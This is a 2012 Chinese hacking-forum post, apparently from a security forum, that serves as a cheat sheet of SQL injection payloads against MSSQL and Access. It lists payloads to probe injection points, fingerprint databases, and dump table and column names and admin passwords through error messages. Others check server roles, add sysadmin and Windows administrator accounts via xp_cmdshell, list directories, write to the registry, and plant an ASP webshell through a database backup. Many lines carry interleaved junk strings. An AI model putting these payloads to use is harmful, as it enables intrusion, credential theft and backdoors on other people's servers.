找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1807|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1.判断是否有注入 $ n; M& X! X7 f2 B5 \1 X4 k: ?3 M
;and 1=1
9 H3 V% q' k: ~2 j; x;and 1=2
! J' d  W2 R7 w8 W, S2 Y2 K: E& ?
, O3 I" h! f! r: F1 d2.初步判断是否是mssql
* P6 |, K* h9 E/ A0 X: }3 n;and user>0 7 H/ \3 v' s  l6 K) ?: l4 X

; S! B& R0 Q* y$ D. C3.判断数据库系统
* g) g2 e3 b8 V. G5 F, |2 _* C- p1 t7 Z;and (select count(*) from sysobjects)>0 mssql
7 t. i0 H+ V3 u/ L' f6 ]* I9 r  Z;and (select count(*) from msysobjects)>0 access
% n0 |. P$ @+ e0 p3 M. K/ g
; n  u2 T+ d0 |% V4.注入参数是字符 # b0 b( [2 {( N( Y; F. ^3 `
'and [查询条件] and ''='
( R+ a9 s4 E. f+ z( j( J3 c' Z3 n" a0 Y; q6 m) |1 r
5.搜索时没过滤参数的 1 l/ y; _" Z; y3 y4 _# ~- A
'and [查询条件] and '%25'='
  ?( J) L. N3 X
+ [( o/ \8 P/ s% |6.猜数表名
! J) n- Q) u# t/ ?* m7 T4 b;and (select Count(*) from [表名])>0
& f  [/ Z( Z" L! R" Q
- G3 C8 l4 C% Q, v7.猜字段
8 F: L/ R+ o& W7 s;and (select Count(字段名) from 表名)>0 / c+ b+ F8 [" z* ]8 N

( S8 T; K- v4 [/ b  F6 ]. q, {! o8.猜字段中记录长度
0 g+ p( r* q" r- E1 s5 M6 q% S;and (select top 1 len(字段名) from 表名)>0
3 Z6 c3 `; D' t3 X- x- q$ b4 E
! j  X( |. Q/ d* ^, D" y9.(1)猜字段的ascii值(access)
, e- H' J, k) z. a+ ?! B# f- I;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
$ j3 ~0 w4 w  @
7 r5 |7 H+ G1 G% ?. H(2)猜字段的ascii值(mssql)
8 m* `, H) M: }) }6 u! Z2 d;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 $ D8 o7 Q. \) ~. @$ |& v
. X: l4 _* N+ p* s' l
10.测试权限结构(mssql) , Y' J) B" o% I/ q8 G2 r
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
$ o% y. L' }4 x6 G6 q0 N! Y;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- . b9 u+ h/ ?/ X+ G( Q
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- , d5 A: {9 W) w: G4 ~- V
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ! J$ O  m4 M1 ?+ l% J
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ; O, |* L5 u, b! u( H! [
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
8 Z5 D. q) O$ Q;and 1=(select IS_MEMBER('db_owner'));-- " {/ Q5 [: P; \2 [

3 z5 t) f* C* {6 m* f6 C" D11.添加mssql和系统的帐户 + B9 ^# j& J& `( }3 e0 }) W  n6 y
;exec master.dbo.sp_addlogin username;--
5 ~# n" l* z% w! l. }+ |;exec master.dbo.sp_password null,username,password;--
1 s4 H: |: x: d- Q: r. k;exec master.dbo.sp_addsrvrolemember sysadmin username;-- - R3 D: D% H7 v0 p. I& p
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
0 q4 j' C; T5 z0 m;exec master.dbo.xp_cmdshell 'net user username password /add';--
* @+ @. b9 {" z9 x;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- : s! |* |, @8 @
9 Y% j1 g2 F% X/ Z1 X* Z
12.(1)遍历目录
- _& d3 \; ^0 Y1 s6 y;create table dirs(paths varchar(100), id int) # M3 N: M  M- I0 w. O6 r5 Q& b
;insert dirs exec master.dbo.xp_dirtree 'c:\'
# x, A% [  n* A5 @, U0 O. o;and (select top 1 paths from dirs)>0
0 f9 y/ U2 v  H" R;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
; X' u  y: s# G# ^0 z9 Y+ Z( S
7 Z' A* c; @" u(2)遍历目录
) P6 F6 E$ a6 ~+ ]9 A% Q7 Y;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
0 s# A8 y# ^8 y9 F' {& v4 A0 U! q* B4 ^: ^;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 + G, L' k" `- E: t3 y+ Y
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 7 ~2 u& N) `' R' ?! ^, ^( z/ \
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 0 [) Z. S' _( X0 M
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
+ R( _# O& N3 |. \2 I/ y$ F# Y0 I9 W6 R" I1 d- Q- H& _
13.mssql中的存储过程 $ L8 v- B4 ?3 Y* ~
xp_regenumvalues 注册表根键, 子键 $ H' X: y, z: d( U2 P8 N6 T1 _
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 1 T4 u: }: B0 }( @- s8 @+ ~
xp_regread 根键,子键,键值名
2 A. W% |# }* h1 o& f+ k;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
, g2 a" Z. E' Qxp_regwrite 根键,子键, 值名, 值类型, 值 / }: [/ e; k; t
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 + X* h. H0 M0 m+ [
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
- a8 g0 ]# L, Bxp_regdeletevalue 根键,子键,值名
9 m! {  C, g3 H, V" S. }exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 & l' \' ^! V5 S" G# S8 T; G- F
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 4 U, T& q" t4 M/ q' `6 S( N

7 \) q" W# s1 @- O14.mssql的backup创建webshell % s* e, ]" d( |/ P' l: m3 `, }
use model
! e4 }" ~5 O% O7 r* Q" B( y% Mcreate table cmd(str image); 5 S: T4 f% _8 t# E& j3 p3 T
insert into cmd(str) values ('<% Dim oScript %>'); . z; w7 v8 V. Y2 b$ E
backup database model to disk='c:\l.asp'; , _; R8 G* P& m5 H& \$ m) J
5 d$ A) D0 W4 Z' A" x; w
15.mssql内置函数
5 R" e) e9 e7 ?: F! e5 H;and (select @@version)>0 获得Windows的版本号
* P& B/ Y4 Q! |( b4 r;and user_name()='dbo' 判断当前系统的连接用户是不是sa
& w2 k" d3 Y' G  Z, U;and (select user_name())>0 爆当前系统的连接用户
8 f$ x! n4 f  z7 ^: T9 w;and (select db_name())>0 得到当前连接的数据库
) z( ^9 B5 F9 I
' y* o! v  q" |
* J2 R6 V4 L: `- u" ~, \; N
- _0 \9 X+ P  m+ A, ZMSSQL手注暴库
3 j! Y4 d1 W+ J% o! ~7 A$ V. b$ Z2 a! B9 j. |; \9 }" |
1.暴出当前表名和列名
6 E& N. F  B; \# Z( g在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
( g* A; X+ _+ o6 V2 d" |& F0 A; D! W9 ?
第一.爆出所有数据库名
' h/ f# @3 B* f1 U/ t5 j' q利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
" x' L' W+ M  n4 M! c& Q第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。2 i& ]  P# f3 o( N% H" Y$ W, S+ I# I
' E- ]9 o# w1 Z- K
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名$ d8 N" J: W8 ]5 [/ K( w

; I7 n! ~# Y( k6 Q
$ e# n3 A, e) k第二.爆出指定库中的所有表名6 t3 {; l0 l1 q/ p& B) B' h0 H- T
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。1 \. y0 G: i1 I
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。* T  P; w0 K& d* G: F

' W9 j/ C/ L1 z7 i9 b- u, [6 Sand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--2 T- g; d* `& I" j
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
' F9 ~. K1 Y. D4 K8 Fand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
2 c* N$ B$ ~9 j3 x4 _6 l$ ?& B5 _- p* b
4.爆出指定表中的所有列名) ]( L" s/ ]) t
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) ' d2 P+ K! W" J( d6 F+ r
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'' r1 [# Z$ ^( \! [) n6 k9 ~+ s
! a) `7 b. w' t5 S! i) W( y
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
9 ?, L& L3 d% [0 S, ?& N7 d6 b( i" v- _( v3 Y" c
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- % L3 _0 j+ X, ~' O
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
# {6 C+ }( t, D( s; j) u/ I: q% T7 n0 {
2 `1 s6 t5 O/ \) D: o  y/ l
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
5 D9 W- Y% x3 p  N3 v, R" Q; \  L# b5 b+ b
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
& _' ^0 H. t$ k4 i' R0 K& ^: ^- y. V$ M9 ^
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
# H5 r; I  o3 R! Z* U. i# E" u! y$ D2 b
( ~8 u; K  V2 Y  {/ l
, v; ~2 u# u) {
5.读取指定表中的数据
* f5 f- p) X* U4 @# M* L6 `  q2 B( `- s1 t/ |- d, ]' M% \; g% l
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
$ e. G3 O, [# g6 c6 h8 j' i0 }/ X7 E% b- z. P" ]
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
& X8 }$ O5 h( I, L% E3 b4 S
4 J! G1 W! \' }& z* u& hand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
5 T, z' Y$ `7 m1 o/ m
  t% Q1 J, X7 e2 v. C7 w; ^, Q) L0 p* l" `( [0 \% ~! b
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)1 V6 V, Y/ X* T, X, `' k0 }
1 ~1 T% H6 a/ Z3 J. R
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
9 l/ U! v% j1 K& q; \& U1 W) A! u6 h# X
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--  n& }8 S3 y6 r- M

, I  ~* X# ~0 l0 \知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。) |. K4 f; o; \- O% K. a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表